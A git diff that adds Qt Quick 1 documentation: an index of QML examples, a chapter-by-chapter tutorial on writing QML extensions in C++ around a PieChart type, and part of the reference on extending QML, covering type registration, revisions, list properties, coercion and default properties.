+\section1 Functional Applications
+
+These QML examples integrate a variety of features to demonstrate how QML
+can be used to produce sophisticated interfaces and applications:
+
+
+\table
+\row
+
+\o
+\l{declarative/calculator}{Calculator}
+\image qml-calculator-example-small.png
+
+\o
+\l{declarative/flickr}{Flickr Mobile}
+\image qml-flickr-demo-small.png
+
+\o
+\l{declarative/minehunt}{Minehunt}
+\image qml-minehunt-demo-small.png
+
+\row
+
+\o
+\l{declarative/photoviewer}{Photo Viewer}
+\image qml-photoviewer-demo-small.png
+
+\o
+\l{declarative/rssnews}{RSS News Reader}
+\image qml-rssnews-demo-small.png
+
+\o
+\l{declarative/samegame}{Same Game}
+\image qml-samegame-demo-small.png
+
+\row
+
+\o
+\l{declarative/snake}{Snake}
+\image qml-snake-demo-small.png
+
+\o
+\l{declarative/twitter}{Twitter}
+\image qml-twitter-demo-small.png
+
+\o
+\l{declarative/webbrowser}{Web Browser}
+\image qml-webbrowser-demo-small.png
+
+\endtable
+
+
+\section1 Code Snippets
+
+These QML examples are small, simple applications that show how to use a particular
+QML component or feature. If you are new
+to QML, you may also find the \l{QML Tutorial}{Hello World} and
+\l {QML Advanced Tutorial}{Same Game} tutorials useful.
+
+\section2 Animation
+\list
+\o \l{declarative/animation/basics}{Basics}
+\o \l{declarative/animation/behaviors}{Behaviors}
+\o \l{declarative/animation/easing}{Easing}
+\o \l{declarative/animation/states}{States}
+\endlist
+
+\section2 Image Elements
+\list
+\o \l{declarative/imageelements/borderimage}{BorderImage}
+\o \l{declarative/imageelements/image}{Image}
+\endlist
+
+\section2 Text
+\list
+\o \l{declarative/text/fonts}{Fonts}
+\o \l{declarative/text/textselection}{Text Selection}
+\endlist
+
+\section2 Positioners
+\list
+\o \l{declarative/positioners}{Example}
+\endlist
+
+\section2 Key Interaction
+\list
+\o \l{declarative/keyinteraction/focus}{Focus}
+\endlist
+
+\section2 Touch Interaction
+\list
+\o \l{declarative/touchinteraction/mousearea}{MouseArea}
+\endlist
+
+\section2 UI Components
+\list
+\o \l{declarative/ui-components/dialcontrol}{Dial control}
+\o \l{declarative/ui-components/flipable}{Flipable}
+\o \l{declarative/ui-components/progressbar}{Progress bar}
+\o \l{declarative/ui-components/scrollbar}{Scroll bar}
+\o \l{declarative/ui-components/searchbox}{Search box}
+\o \l{declarative/ui-components/slideswitch}{Slide switch}
+\o \l{declarative/ui-components/spinner}{Spinner}
+\o \l{declarative/ui-components/tabwidget}{Tab widget}
+\endlist
+
+\section2 Toys
+\list
+\o \l{declarative/toys/clocks}{Clocks}
+\o \l{declarative/toys/corkboards}{Corkboards}
+\o \l{declarative/toys/dynamicscene}{Dynamic Scene}
+\o \l{declarative/toys/tic-tac-toe}{Tic Tac Toe}
+\o \l{declarative/toys/tvtennis}{TV Tennis}
+\endlist
+
+\section2 Models and Views
+\list
+\o \l{declarative/modelviews/gridview}{GridView}
+\o \l{declarative/modelviews/listview}{ListView}
+\o \l{declarative/modelviews/pathview}{PathView}
+\o \l{declarative/modelviews/package}{Package}
+\o \l{declarative/modelviews/parallax}{Parallax}
+\o \l{declarative/modelviews/visualitemmodel}{VisualItemModel}
+
+\o \l{declarative/modelviews/stringlistmodel}{String ListModel}
+\o \l{declarative/modelviews/objectlistmodel}{Object ListModel}
+\o \l{declarative/modelviews/abstractitemmodel}{AbstractItemModel}
+
+\o \l{declarative/modelviews/webview}{WebView}
+\endlist
+
+\section2 XML
+\list
+\o \l{declarative/xml/xmlhttprequest}{XmlHttpRequest}
+\endlist
+
+\section2 Internationalization (i18n)
+\list
+\o \l{declarative/i18n}{Example}
+\endlist
+
+\section2 Right-to-left User Interfaces
+\list
+\o \l{declarative/righttoleft/layoutmirroring}{Layout mirroring}
+\o \l{declarative/righttoleft/layoutdirection}{Layout direction}
+\o \l{declarative/righttoleft/textalignment}{Text alignment}
+\endlist
+
+\section2 Threading
+\list
+\o \l{declarative/threading/threadedlistmodel}{Threaded ListModel}
+\o \l{declarative/threading/workerscript}{WorkerScript}
+\endlist
+
+\section2 Screen Orientation
+\list
+\o \l{declarative/screenorientation}{Example}
+\endlist
+
+\section2 SQL Local Storage
+\list
+\o \l{declarative/sqllocalstorage}{Example}
+\endlist
+
+\section2 C++ Extensions
+\list
+\o \l{declarative-cppextensions-reference.html}{Reference examples}
+\o \l{declarative/cppextensions/plugins}{Plugins}
+\o \l{declarative-cppextensions-qgraphicslayouts.html}{QGraphicsLayouts}
+\o \l{declarative/cppextensions/qwidgets}{QWidgets}
+\o \l{declarative/cppextensions/imageprovider}{Image provider}
+\o \l{declarative/cppextensions/networkaccessmanagerfactory}{Network access manager factory}
+\endlist
+
+\section2 Scenegraph
+\list
+\o \l{declarative/painteditem/textballoons}{Painted Item}
+\endlist
+
+\section1 Labs
+
+\list
+\o \l{src/imports/folderlistmodel}{Folder List Model} - a C++ model plugin
+\endlist
+
+*/
+
diff --git a/doc/src/qtquick1/extending-tutorial.qdoc b/doc/src/qtquick1/extending-tutorial.qdoc
new file mode 100644
index 0000000000..e9a36824c1
--- /dev/null
+++ b/doc/src/qtquick1/extending-tutorial.qdoc
@@ -0,0 +1,497 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qml-extending-tutorial-index.html
+\title Tutorial: Writing QML Extensions with C++
+
+The Qt Declarative module provides a set of APIs for extending QML through
+C++ extensions. You can write extensions to add your own QML types, extend existing
+Qt types, or call C/C++ functions that are not accessible from ordinary QML code.
+
+This tutorial shows how to write a QML extension using C++ that includes
+core QML features, including properties, signals and bindings. It also shows how
+extensions can be deployed through plugins.
+
+You can find the source code for this tutorial in \c Qt's
+examples/declarative/tutorials/extending directory.
+
+Tutorial chapters:
+
+\list 1
+\o \l{declarative/tutorials/extending/chapter1-basics}{Creating a New Type}
+\o \l{declarative/tutorials/extending/chapter2-methods}{Connecting to C++ Methods and Signals}
+\o \l{declarative/tutorials/extending/chapter3-bindings}{Property Binding}
+\o \l{declarative/tutorials/extending/chapter4-customPropertyTypes}{Using Custom Property Types}
+\o \l{declarative/tutorials/extending/chapter5-listproperties}{Using List Property Types}
+\o \l{declarative/tutorials/extending/chapter6-plugins}{Writing an Extension Plugin}
+\o \l{qml-extending-tutorial7.html}{In Summary}
+\endlist
+
+*/
+
+/*!
+\title Chapter 1: Creating a New Type
+
+\example declarative/tutorials/extending/chapter1-basics
+
+A common task when extending QML is to provide a new QML type that supports some
+ custom functionality beyond what is provided by the built-in \l {QML Elements}.
+For example, this could be done to implement particular data models, or provide
+elements with custom painting and drawing capabilities, or access system features
+like network programming that are not accessible through built-in QML features.
+
+In this tutorial, we will show how to use the C++ classes in the Qt Declarative
+module to extend QML. The end result will be a simple Pie Chart display implemented by
+several custom QML types connected together through QML features like bindings and
+signals, and made available to the QML runtime through a plugin.
+
+To begin with, let's create a new QML type called "PieChart" that has two properties: a name
+and a color. We will make it available in a \l {Modules}{module} called "Charts", with
+a module version of 1.0.
+
+We want this \c PieChart type to be usable from QML like this:
+
+\code
+ import Charts 1.0
+
+ PieChart {
+ width: 100; height: 100
+ name: "A simple pie chart"
+ color: "red"
+ }
+\endcode
+
+To do this, we need a C++ class that encapsulates this \c PieChart type and its two
+properties. Since QML makes extensive use of Qt's \l{Meta-Object System}{meta object system},
+this new class must:
+
+\list
+\o Inherit from QObject
+\o Declare its properties using the Q_PROPERTY macro
+\endlist
+
+Here is our \c PieChart class, defined in \c piechart.h:
+
+\snippet declarative/tutorials/extending/chapter1-basics/piechart.h 0
+
+The class inherits from QDeclarativeItem because we want to override
+QDeclarativeItem::paint() in order to draw. If the class just represented some
+data type and was not an item that actually needed to be displayed, it could simply inherit
+from QObject. Or, if we want to extend the functionality of an existing QObject-based
+class, it could inherit from that class instead.
+
+The \c PieChart class defines the two properties, \c name and \c color, with the Q_PROPERTY macro,
+and overrides QDeclarativeItem::paint(). The class implementation in \c piechart.cpp
+simply sets and returns the \c m_name and \c m_color values as appropriate, and
+implements \c paint() to draw a simple pie chart. It also turns off the
+QGraphicsItem::ItemHasNoContents flag to enable painting:
+
+\snippet declarative/tutorials/extending/chapter1-basics/piechart.cpp 0
+\dots 0
+\snippet declarative/tutorials/extending/chapter1-basics/piechart.cpp 1
+
+Now that we have defined the \c PieChart type, we will use it from QML. The \c app.qml
+file creates a \c PieChart item and display the pie chart's details
+using a standard QML \l Text item:
+
+\snippet declarative/tutorials/extending/chapter1-basics/app.qml 0
+
+Notice that although the color is specified as a string in QML, it is automatically
+converted to a QColor object for the PieChart \c color property. Automatic conversions are
+provided for various other \l {QML Basic Types}{basic types}; for example, a string
+like "640x480" can be automatically converted to a QSize value.
+
+We'll also create a C++ application that uses a QDeclarativeView to run and
+display \c app.qml. The application must register the \c PieChart type
+using the qmlRegisterType() function, to allow it to be used from QML. If
+you don't register the type, \c app.qml won't be able to create a \c PieChart.
+
+Here is the application \c main.cpp:
+
+\snippet declarative/tutorials/extending/chapter1-basics/main.cpp 0
+
+This call to qmlRegisterType() registers the \c PieChart type as a type called "PieChart", in a module named "Charts",
+with a module version of 1.0.
+
+Lastly, we write a \c .pro project file that includes the files and the \c declarative library:
+
+\quotefile declarative/tutorials/extending/chapter1-basics/chapter1-basics.pro
+
+Now we can build and run the application:
+
+\image extending-tutorial-chapter1.png
+
+Try it yourself with the code in Qt's \c examples/tutorials/extending/chapter1-basics directory.
+
+At the moment, the \c app.qml is run from within a C++ application.
+This may seem odd if you're used to running QML files with the \l {QML Viewer}.
+Later on, we'll show how to create a plugin so that you can run \c app.qml using the
+\l {QML Viewer} instead.
+
+*/
+
+
+/*!
+\title Chapter 2: Connecting to C++ Methods and Signals
+
+\example declarative/tutorials/extending/chapter2-methods
+
+Suppose we want \c PieChart to have a "clearChart()" method that erases the
+chart and then emits a "chartCleared" signal. Our \c app.qml would be able
+to call \c clearChart() and receive \c chartCleared() signals like this:
+
+\snippet declarative/tutorials/extending/chapter2-methods/app.qml 0
+
+\image extending-tutorial-chapter2.png
+
+To do this, we add a \c clearChart() method and a \c chartCleared() signal
+to our C++ class:
+
+\snippet declarative/tutorials/extending/chapter2-methods/piechart.h 0
+\dots
+\snippet declarative/tutorials/extending/chapter2-methods/piechart.h 1
+\dots
+\snippet declarative/tutorials/extending/chapter2-methods/piechart.h 2
+\dots
+\snippet declarative/tutorials/extending/chapter2-methods/piechart.h 3
+
+The use of Q_INVOKABLE makes the \c clearChart() method available to the
+Qt Meta-Object system, and in turn, to QML. Note that it could have
+been declared as as a Qt slot instead of using Q_INVOKABLE, as
+slots are also callable from QML. Both of these approaches are valid.
+
+The \c clearChart() method simply changes the color to Qt::transparent,
+repaints the chart, then emits the \c chartCleared() signal:
+
+\snippet declarative/tutorials/extending/chapter2-methods/piechart.cpp 0
+
+Now when we run the application and click the window, the pie chart
+disappears, and the application outputs:
+
+\code
+ The chart has been cleared
+\endcode
+
+Try out the example yourself with the updated code in Qt's \c examples/tutorials/extending/chapter2-methods directory.
+
+*/
+
+/*!
+\title Chapter 3: Adding Property Bindings
+
+\example declarative/tutorials/extending/chapter3-bindings
+
+Property bindings is a powerful feature of QML that allows values of different
+elements to be synchronized automatically. It uses signals to notify and update
+other elements' values when property values are changed.
+
+Let's enable property bindings for the \c color property. That means
+if we have code like this:
+
+\snippet declarative/tutorials/extending/chapter3-bindings/app.qml 0
+
+\image extending-tutorial-chapter3.png
+
+The "color: chartA.color" statement binds the \c color value of
+\c chartB to the \c color of \c chartA.
+Whenever \c chartA's \c color value changes, \c chartB's \c color value
+updates to the same value. When the window is clicked, the \c onClicked
+handler in the MouseArea changes the color of \c chartA, thereby changing
+both charts to the color blue.
+
+It's easy to enable property binding for the \c color property.
+We add a \l{Qt's Property System}{NOTIFY} feature to its Q_PROPERTY() declaration to indicate that a "colorChanged" signal
+is emitted whenever the value changes.
+
+\snippet declarative/tutorials/extending/chapter3-bindings/piechart.h 0
+\dots
+\snippet declarative/tutorials/extending/chapter3-bindings/piechart.h 1
+\dots
+\snippet declarative/tutorials/extending/chapter3-bindings/piechart.h 2
+\dots
+\snippet declarative/tutorials/extending/chapter3-bindings/piechart.h 3
+
+Then, we emit this signal in \c setPieSlice():
+
+\snippet declarative/tutorials/extending/chapter3-bindings/piechart.cpp 0
+
+It's important for \c setColor() to check that the color value has actually changed
+before emitting \c colorChanged(). This ensures the signal is not emitted unnecessarily and
+also prevents loops when other elements respond to the value change.
+
+The use of bindings is essential to QML. You should always add NOTIFY
+signals for properties if they are able to be implemented, so that your
+properties can be used in bindings. Properties that cannot be bound cannot be
+automatically updated and cannot be used as flexibly in QML. Also, since
+bindings are invoked so often and relied upon in QML usage, users of your
+custom QML types may see unexpected behavior if bindings are not implemented.
+
+*/
+
+/*!
+\title Chapter 4: Using Custom Property Types
+
+\example declarative/tutorials/extending/chapter4-customPropertyTypes
+
+The \c PieChart type currently has a string-type property and a color-type property.
+It could have many other types of properties. For example, it could have an
+int-type property to store an identifier for each chart:
+
+\code
+ // C++
+ class PieChart : public QDeclarativeItem
+ {
+ Q_PROPERTY(int chartId READ chartId WRITE setChartId NOTIFY chartIdChanged)
+ ...
+
+ public:
+ void setChartId(int chartId);
+ int chartId() const;
+ ...
+
+ signals:
+ void chartIdChanged();
+ };
+
+ // QML
+ PieChart {
+ ...
+ chartId: 100
+ }
+\endcode
+
+We can also use various other property types. QML has built-in support for the types
+listed in the \l{QML Basic Types} documentation, which includes the following:
+
+\list
+\o bool, unsigned int, int, float, double, qreal
+\o QString, QUrl, QColor
+\o QDate, QTime, QDateTime
+\o QPoint, QPointF, QSize, QSizeF, QRect, QRectF
+\o QVariant
+\endlist
+
+If we want to create a property whose type is not supported by QML by default,
+we need to register the type with QML.
+
+For example, let's replace the use of the \c property with a type called
+"PieSlice" that has a \c color property. Instead of assigning a color,
+we assign an \c PieSlice value which itself contains a \c color:
+
+\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/app.qml 0
+
+Like \c PieChart, this new \c PieSlice type inherits from QDeclarativeItem and declares
+its properties with Q_PROPERTY():
+
+\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/pieslice.h 0
+
+To use it in \c PieChart, we modify the \c color property declaration
+and associated method signatures:
+
+\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h 0
+\dots
+\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h 1
+\dots
+\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h 2
+\dots
+\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h 3
+
+There is one thing to be aware of when implementing \c setPieSlice(). The \c PieSlice
+is a visual item, so it must be set as a child of the \c PieChart using
+QDeclarativeItem::setParentItem() so that the \c PieChart knows to paint this child
+item when its contents are drawn:
+
+\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.cpp 0
+
+
+Like the \c PieChart type, the \c PieSlice type has to be registered
+using qmlRegisterType() to be used from QML. As with \c PieChart, we'll add the
+type to the "Charts" module, version 1.0:
+
+\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/main.cpp 0
+\dots
+\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/main.cpp 1
+\dots
+\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/main.cpp 2
+
+Try it out with the code in Qt's \c examples/tutorials/extending/chapter4-customPropertyTypes directory.
+
+*/
+
+
+/*!
+\title Chapter 5: Using List Property Types
+
+\example declarative/tutorials/extending/chapter5-listproperties
+
+Right now, a \c PieChart can only have one \c PieSlice. Ideally a chart would
+have multiple slices, with different colors and sizes. To do this, we could
+have a \c slices property that accepts a list of \c PieSlice items:
+
+\snippet declarative/tutorials/extending/chapter5-listproperties/app.qml 0
+
+\image extending-tutorial-chapter5.png
+
+To do this, we replace the \c pieSlice property in \c PieChart with a \c slices property,
+declared as a QDeclarativeListProperty type. The QDeclarativeListProperty class enables the
+creation of list properties in QML extensions. We replace the \c pieSlice()
+function with a \c slices() function that returns a list of slices, and add
+an internal \c append_slice() function (discussed below). We also use a QList to
+store the internal list of slices as \c m_slices:
+
+\snippet declarative/tutorials/extending/chapter5-listproperties/piechart.h 0
+\dots
+\snippet declarative/tutorials/extending/chapter5-listproperties/piechart.h 1
+\dots
+\snippet declarative/tutorials/extending/chapter5-listproperties/piechart.h 2
+
+Although the \c slices property does not have an associated \c WRITE function,
+it is still modifiable because of the way QDeclarativeListProperty works.
+In the \c PieChart implementation, we implement \c PieChart::slices() to
+return a QDeclarativeListProperty value and indicate that the internal
+\c PieChart::append_slice() function is to be called whenever a request is made from QML
+to add items to the list:
+
+\snippet declarative/tutorials/extending/chapter5-listproperties/piechart.cpp 0
+
+The \c append_slice() function simply sets the parent item as before,
+and adds the new item to the \c m_slices list. As you can see, the append function for a
+QDeclarativeListProperty is called with two arguments: the list property, and
+the item that is to be appended.
+
+The \c PieSlice class has also been modified to include \c fromAngle and \c angleSpan
+properties and to draw the slice according to these values. This is a straightforward
+modification if you have read the previous pages in this tutorial, so the code is not shown here.
+
+The complete code can be seen in the updated \c examples/tutorials/extending/chapter5-listproperties directory.
+
+*/
+
+
+/*!
+\title Chapter 6: Writing an Extension Plugin
+
+\example declarative/tutorials/extending/chapter6-plugins
+
+Currently the \c PieChart and \c PieSlice types are used by \c app.qml,
+which is displayed using a QDeclarativeView in a C++ application. An alternative
+way to use our QML extension is to create a plugin library to make it available
+to the QML engine. This allows \c app.qml to be loaded with the \l {QML Viewer}
+(or some other QML \l{Qt Declarative UI Runtime}{runtime} application) instead of writing a \c main.cpp file and
+loading our own C++ application.
+
+To create a plugin library, we need:
+
+\list
+\o A plugin class that registers our QML types
+\o A project file that describes the plugin
+\o A \l{Writing a qmldir file}{qmldir} file that tells the QML engine to load the plugin
+\endlist
+
+First, we create a plugin class named \c ChartsPlugin. It subclasses QDeclarativeExtensionPlugin
+and registers our QML types in the inherited \l{QDeclarativeExtensionPlugin::}{registerTypes()} method. It also calls
+Q_EXPORT_PLUGIN2 for Qt's \l{How to Create Qt Plugins}{plugin system}.
+
+Here is the \c ChartsPlugin definition in \c chartsplugin.h:
+
+\snippet declarative/tutorials/extending/chapter6-plugins/chartsplugin.h 0
+
+And its implementation in \c chartsplugin.cpp:
+
+\snippet declarative/tutorials/extending/chapter6-plugins/chartsplugin.cpp 0
+
+Then, we write a \c .pro project file that defines the project as a plugin library
+and specifies with DESTDIR that library files should be built into a "lib" subdirectory:
+
+\quotefile declarative/tutorials/extending/chapter6-plugins/chapter6-plugins.pro
+
+Finally, we add a \l{Writing a qmldir file}{qmldir} file that is automatically parsed by the QML engine.
+In this file, we specify that a plugin named "chapter6-plugin" (the name
+of the example project) can be found in the "lib" subdirectory:
+
+\quotefile declarative/tutorials/extending/chapter6-plugins/qmldir
+
+Now we have a plugin, and instead of having a main.cpp and an executable, we can build
+the project and then load the QML file in the \l {QML Viewer}:
+
+\code
+ qmlviewer app.qml
+\endcode
+
+(On Mac OS X, you can launch the "QMLViewer" application instead.)
+
+Notice the "import Charts 1.0" statement has disappeared from \c app.qml. This is
+because the \c qmldir file is in the same directory as \c app.qml: this is equivalent to
+having PieChart.qml and PieSlice.qml files inside the project directory, which could both
+be used by \c app.qml without import statements.
+*/
+
+
+/*!
+\page qml-extending-tutorial7.html
+\title Chapter 7: In Summary
+
+In this tutorial, we've shown the basic steps for creating a QML extension:
+
+\list
+\o Define new QML types by subclassing QObject and registering them with qmlRegisterType()
+\o Add callable methods using Q_INVOKABLE or Qt slots, and connect to Qt signals with an \c onSignal syntax
+\o Add property bindings by defining \l{Qt's Property System}{NOTIFY} signals
+\o Define custom property types if the built-in types are not sufficient
+\o Define list property types using QDeclarativeListProperty
+\o Create a plugin library by defining a Qt plugin and writing a \c qmldir file
+\endlist
+
+
+The \l {Extending QML Functionalities using C++} reference documentation shows
+other useful features that can be added to QML extensions. For example, we
+could use \l{Default Property}{default properties} to allow
+slices to be added without using the \c slices property:
+
+\code
+ PieChart {
+ PieSlice { ... }
+ PieSlice { ... }
+ PieSlice { ... }
+ }
+\endcode
+
+Or randomly add and remove slices from time to time using \l{Property Value Sources}{property value sources}:
+
+\code
+ PieChart {
+ PieSliceRandomizer on slices {}
+ }
+\endcode
+
+
+See the \l{Extending QML Functionalities using C++} reference documentation
+for more information.
+
+*/
+
diff --git a/doc/src/qtquick1/extending.qdoc b/doc/src/qtquick1/extending.qdoc
new file mode 100644
index 0000000000..0f7becdc83
--- /dev/null
+++ b/doc/src/qtquick1/extending.qdoc
@@ -0,0 +1,708 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qml-extending.html
+\ingroup qml-features
+\contentspage QML Features
+\previouspage {Presenting Data with Views}
+\nextpage {Using QML Bindings in C++ Applications}
+\title Extending QML Functionalities using C++
+
+The QML syntax declaratively describes how to construct an in-memory object
+tree. In Qt, QML is mainly used to describe a visual scene graph, but it is
+not conceptually limited to this: the QML format is an abstract description of
+any object tree. All the QML element types included in Qt are implemented using
+the C++ extension mechanisms describe on this page. Programmers can use these
+APIs to add new types that interact with the existing Qt types, or to repurpose
+QML for their own independent use.
+
+\tableofcontents
+
+\section1 Adding Types
+\target adding-types
+
+\snippet examples/declarative/cppextensions/referenceexamples/adding/example.qml 0
+
+The QML snippet shown above instantiates one \c Person instance and sets
+the \c name and \c shoeSize properties on it. Everything in QML ultimately comes down
+to either instantiating an object instance, or assigning a property a value.
+
+QML relies heavily on Qt's meta object system and can only instantiate classes
+that derive from QObject. For visual element types, this will usually mean a subclass
+of QDeclarativeItem; for models used with the view elements, a subclass of QAbstractItemModel;
+and for arbitrary objects with properties, a direct subclass of QObject.
+
+The QML engine has no intrinsic knowledge of any class types. Instead the
+programmer must register the C++ types with their corresponding QML names.
+
+Custom C++ types are registered using a template function:
+
+\quotation
+
+\code
+template<typename T>
+int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName)
+\endcode
+
+Calling qmlRegisterType() registers the C++ type \a T with the QML
+system, and makes it available in QML under the name \a qmlName in
+library \a uri version \a versionMajor.versionMinor. The \a qmlName
+can be the same as the C++ type name.
+
+Type \a T must be a concrete type that inherits QObject and has a default
+constructor.
+
+\endquotation
+
+#include <QtDeclarative> to use qmlRegisterType().
+
+Types can be registered by libraries, application code, or by plugins
+(see QDeclarativeExtensionPlugin).
+
+Once registered, all \l {Qt's Property System}{properties} of the
+supported types are available in QML. QML has intrinsic support for
+properties of the types listed in the \l{QML Basic Types}
+document, which includes the following:
+
+\list
+\o bool, unsigned int, int, float, double, qreal
+\o QString, QUrl, QColor
+\o QDate, QTime, QDateTime
+\o QPoint, QPointF, QSize, QSizeF, QRect, QRectF
+\o QVariant
+\endlist
+
+When a property of a supported type is added to a C++ class, in a QML
+element based on the C++ class, a \e{value-changed} signal handler
+will be available. See \l{Signal Support} below.
+
+QML is typesafe. Attempting to assign an invalid value to a property
+will generate an error. For example, assuming the \e{name} property
+of the \c Person element had a type of QString, this would cause an
+error:
+
+\code
+Person {
+ // Will NOT work
+ name: 12
+}
+\endcode
+
+\l {Extending QML - Adding Types Example} shows the complete code used to create
+the \c Person type.
+
+\section1 QML Type Versioning
+
+In C++ adding a new method or property cannot break old applications.
+In QML, however, new methods and properties can change what a name previously
+resolved to to within a scope chain.
+
+For example, consider these two QML files
+
+\code
+// main.qml
+import QtQuick 1.0
+Item {
+ id: root
+ MyComponent {}
+}
+\endcode
+
+\code
+// MyComponent.qml
+import MyModule 1.0
+CppItem {
+ value: root.x
+}
+\endcode
+
+where CppItem maps to the C++ class QCppItem.
+
+If the author of QCppItem adds a "root" property to QCppItem in a new version of the module,
+it will break the above program as \c root.x now resolves to a different value.
+The solution is to allow the author of QCppItem to state that the new \c root property is
+only available from a particular version of QCppItem onwards. This permits new properties
+and features to be added to existing elements without breaking existing programs.
+
+QML enables this by allowing the properties, methods and signals of a class to be tagged with
+a particular \e revision, so that they are only accessible if the relevant module version
+is imported. In this case, the author can tag the \c root property as being added in
+\e {revision 1} of the class, and register that revision in version 1.1 of the module.
+
+The REVISION tag is used to mark the \c root property as added in revision 1 of the class.
+Methods such as Q_INVOKABLE's, signals and slots can also be tagged for a
+revision using the \c Q_REVISION(x) macro:
+
+\code
+class CppItem : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int root READ root WRITE setRoot NOTIFY rootChanged REVISION 1)
+
+signals:
+ Q_REVISION(1) void rootChanged();
+};
+\endcode
+
+To register the new class revision to a particular version the following function is used:
+
+\code
+template<typename T, int metaObjectRevision>
+int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName)
+\endcode
+
+To register \c CppItem version 1 for \c {MyModule 1.1}:
+
+\code
+qmlRegisterType<QCppItem,1>("MyModule", 1, 1, "CppItem")
+\endcode
+
+\c root is only available when MyModule 1.1 is imported.
+
+
+\section1 Object and List Property Types
+
+\snippet examples/declarative/cppextensions/referenceexamples/properties/example.qml 0
+
+The QML snippet shown above assigns a \c Person object to the \c BirthdayParty's
+\c host property, and assigns three \c Person objects to the guests property.
+
+QML can set properties of types that are more complex than basic intrinsics like
+integers and strings. Properties can also be object pointers, Qt interface
+pointers, lists of object pointers, and lists of Qt interface pointers. As QML
+is typesafe it ensures that only valid types are assigned to these properties,
+just like it does for primitive types.
+
+Properties that are pointers to objects or Qt interfaces are declared with the
+Q_PROPERTY() macro, just like other properties. The \c host property
+declaration looks like this:
+
+\snippet examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.h 1
+
+As long as the property type, in this case \c Person, is registered with QML the
+property can be assigned.
+
+QML also supports assigning Qt interfaces. To assign to a property whose type
+is a Qt interface pointer, the interface must also be registered with QML. As
+they cannot be instantiated directly, registering a Qt interface is different
+from registering a new QML type. The following function is used instead:
+
+\quotation
+\code
+template<typename T>
+int qmlRegisterInterface(const char *typeName)
+\endcode
+
+This registers the C++ interface \a T with the QML system as \a typeName.
+
+Following registration, QML can coerce objects that implement this interface
+for assignment to appropriately typed properties.
+\endquotation
+
+The \c guests property is a list of \c Person objects. Properties that are lists
+of objects or Qt interfaces are also declared with the Q_PROPERTY() macro, just
+like other properties. List properties must have the type \c {QDeclarativeListProperty<T>}.
+As with object properties, the type \a T must be registered with QML.
+
+The \c guest property declaration looks like this:
+
+\snippet examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.h 2
+
+\l {Extending QML - Object and List Property Types Example} shows the complete
+code used to create the \c BirthdayParty type.
+
+\section1 Inheritance and Coercion
+
+\snippet examples/declarative/cppextensions/referenceexamples/coercion/example.qml 0
+
+The QML snippet shown above assigns a \c Boy object to the \c BirthdayParty's
+\c host property, and assigns three other objects to the \c guests property.
+
+QML supports C++ inheritance hierarchies and can freely coerce between known,
+valid object types. This enables the creation of common base classes that allow
+the assignment of specialized classes to object or list properties. In the
+snippet shown, both the \c host and the \c guests properties retain the \c Person
+type used in the previous section, but the assignment is valid as both the \c Boy
+and \c Girl objects inherit from \c Person.
+
+To assign to a property, the property's type must have been registered with QML.
+Both the qmlRegisterType() and qmlRegisterInterface() template functions already
+shown can be used to register a type with QML. Additionally, if a type that acts purely
+as a base class that cannot be instantiated from QML needs to be
+registered, the following function can be used:
+
+\quotation
+\code
+ template<typename T>
+ int qmlRegisterType()
+\endcode
+
+This registers the C++ type \a T with the QML system. The parameterless call to the template
+function qmlRegisterType() does not define a mapping between the
+C++ class and a QML element name, so the type is not instantiable from QML, but
+it is available for type coercion.
+
+Type \a T must inherit QObject, but there are no restrictions on whether it is
+concrete or the signature of its constructor.
+\endquotation
+
+QML will automatically coerce C++ types when assigning to either an object
+property, or to a list property. Only if coercion fails does an assignment
+error occur.
+
+\l {Extending QML - Inheritance and Coercion Example} shows the complete
+code used to create the \c Boy and \c Girl types.
+
+\section1 Default Property
+
+\snippet examples/declarative/cppextensions/referenceexamples/default/example.qml 0
+
+The QML snippet shown above assigns a collection of objects to the
+\c BirthdayParty's default property.
+
+The \e {default property} is a syntactic convenience that allows a type designer to
+specify a single property as the type's default. The default property is
+assigned to whenever no explicit property is specified. As a convenience, it is
+behaviorally identical to assigning to the default property explicitly by name.
+
+From C++, type designers mark the default property using a Q_CLASSINFO()
+annotation:
+
+\quotation
+\code
+Q_CLASSINFO("DefaultProperty", "property")
+\endcode
+
+This marks \a property as the class's default property. \a property must be either
+an object property, or a list property.
+
+A default property is optional. A derived class inherits its base class's
+default property, but may override it in its own declaration. \a property can
+refer to a property declared in the class itself, or a property inherited from a
+base class.
+\endquotation
+
+\l {Extending QML - Default Property Example} shows the complete code used to
+specify a default property.
+
+\section1 Grouped Properties
+
+\snippet examples/declarative/cppextensions/referenceexamples/grouped/example.qml 1
+
